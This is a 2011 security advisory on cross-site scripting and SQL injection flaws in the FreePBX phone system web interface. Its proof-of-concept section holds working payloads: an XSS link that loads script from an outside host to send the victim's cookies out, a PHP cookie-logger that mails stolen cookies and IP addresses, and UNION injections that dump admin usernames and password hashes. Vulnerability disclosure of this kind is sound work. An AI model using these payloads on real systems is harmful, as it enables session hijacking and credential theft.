Free PBX Phone System v2.x v3.x - Multiple Vulnerabilities

Document Title:
===============
Free PBX Phone System v2.x v3.x  - Multiple Vulnerabilities



Release Date:
=============
2011-08-08


Vulnerability Laboratory ID (VL-ID):
====================================
79


Product & Service Introduction:
===============================
Its Hard
to Beat Free
FreePBX is for both developers and people searching for a Business Phone System (or a really fancy home one). 
The new to FreePBX, AsteriskÆ or FreeSWITCH by PBX. FreePBX is an easy to use GUI (graphical user interface) 
that controls and manages Asterisk, the worlds most popular open source telephony engine software. FreePBX 
has been developed and hardened by thousands of volunteers over tens of thousands man hours. FreePBX has been 
downloaded over 5,000,000 times and estimates over 500,000 active phone systems. If you dont know about FreePBX, 
you are probably paying too much for your phone system. Government in Europe & USA mostly use that Software to 
configure Phone System inside of the offices.

(Copy of the Vendor Homepage: http://www.freepbx.org/)


Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered multiple Vulnerabilities on free PBX (Private Branch Exchange) Phone Application.


Vulnerability Disclosure Timeline:
==================================
2011-08-08:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
Multiple persistent input validation vulnerabilities are detected on free PBX.
The vulnerability allows an remote attacker or local low privileged user account to implement 
malicious persistent script codes on application-side.

Vulnerable Module(s):

				[+] Add Incoming Route Description  
				[+] ringgroups                     
				[+] music                          


Pictures:
                                  ../ive1-server-side.png



1.2 
Multiple non-persistent input validation vulnerabilities are detected on free PBX.
The vulnerability allows remote attackers to form malicious non-persistent links for
client-side attacks over the application.

Vulnerable Module(s):

				[+] findmefollow                    - [Input Validation Error Vulnerability]
				[+] announcement                    - [Input Validation Error Vulnerability]
				[+] did&rnavsort                    - [Input Validation Error Vulnerability]
				[+] trunks                          - [Input Validation Error Vulnerability]


Pictures:
				../ive1-client-side.png



1.3
2 SQL Injection vulnerabilities are detected on the free PBX phone web application.
A privileged application user can execute SQL statements over two different configuration functions of the phone application.

Vulnerable Module(s):

				[+] music&action= (trunkid)
				[+] miscdests&id


--- SQL Error Logs ---
FATAL ERROR
SELECT id, description, destdial FROM miscdests WHERE id = -1\  [nativecode=1064 ** 
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 
syntax to use near   at line 1]SQL - SELECT id, description, destdial FROM miscdests WHERE id = -1 

FATAL ERROR
SELECT `tech` FROM `trunks` WHERE `trunkid` = -1 [nativecode=1064 ** You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near  ;#039  at line 1]SQL -
SELECT `tech` FROM `trunks` WHERE `trunkid` = -1 


Pictures:
			../sql.png
			../sql1.png
			../sql2.png


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by local low privileged user accounts & remote attackers. For demonstration or reproduce ...

Reference 1.1 	Persistent
/admin/admin/config.php?display=ringgroups[Input Validation Error Vulnerability]
/admin/admin/config.php?display=music&action=add[Input Validation Error Vulnerability]
/admin/admin/config.php?display=music&action=addstream[Input Validation Error Vulnerability]

Reference 1.2	Non-Persistent
/admin/admin/config.php?display=findmefollow&extdisplay=[Input Validation Error Vulnerability]
/admin/admin/config.php?display=announcement&type=[Input Validation Error Vulnerability]
/admin/admin/config.php?display=did&rnavsort=description&didfilter=[Input Validation Error Vulnerability]
/admin/admin/config.php?display=trunks&tech=[Input Validation Error Vulnerability]


1.1 - 1.2 
location.href='config.php?display=findmefollow&extdisplay=%3C/script%3E%20%22%3E
%3Cscript%20src%3Dhttp%3A//global-evolution.info/grep.php%3E%3C/script%3E?nice='+escape(document.cookie)

<?
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A"); 
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("[email protected]", $subject, $msg);
header ("location: http://www.freepbx.org/");
?>


1.3
/admin/config.php?display=trunks&extdisplay=OUT_-1'[SQL-Vulnerability]
/admin/config.php?display=miscdests&id=-1'[SQL-Vulnerability]

Reference:
config.php?display=miscdests&id=1%20UNION%20ALL%20SELECT%201,concat(username,0x3a,password_sha1),3%20from%20asterisk.ampusers--
config.php?type=setup&display=miscdests&id=1%20UNION%20ALL%20SELECT%201,concat(username,0x3a,password_sha1),3%20from%20asterisk.ampusers--


Security Risk:
==============
1.1
The security risk of the persistent vulnerabilities are estimated as medium.

1.2
The security risk of the non-persistent & client-side vulnerabilities are estimated as low.

1.3
The security risk of the sql injection vulnerabilities are estimated as high.



Credits & Authors:
==================
Rem0ve and tswr


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